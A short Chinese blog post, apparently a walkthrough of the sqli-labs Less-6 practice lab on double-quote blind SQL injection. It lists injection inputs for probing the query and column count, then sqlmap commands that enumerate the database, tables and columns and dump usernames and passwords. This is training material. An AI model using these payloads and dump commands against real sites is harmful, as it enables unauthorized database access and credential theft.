sqli-lab刷题Less-6 基于盲注的双引号型sql注入

sqli-lab刷题Less-6 基于盲注的双引号型sql注入

输入?id=1\,报出错误

猜测其原语句为"$id" LIMIT 0,1

输入?id=1" --+

发现其不报错,说明猜测正确

输入?id=1" order by 3 --+,不报错,输入?id=1" order by 4 --+,报错

由此可以知道只有三个字段

输入?id=1" and 1=2 union select 1,2,3 --+,发现其不回显,说明为盲注

盲注具体看这篇文章sqli-lab刷题Less-5基于盲注的单引号型注入

可以使用sqlmap进行自动化探测。

输入

sqlmap -u 对应的url,注意提交参数 --current-db --batch

得到数据库

以此类推

爆出表名

sqlmap -u 对应的url,注意提交参数 -D security --tables --batch

 爆出列名

sqlmap -u 对应的url,注意提交参数 -D security -T users --columns ---batch

爆出字段值

sqlmap -u 对应的url,注意提交参数 -D security -T users -C password,username --dump --batch

 

 

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值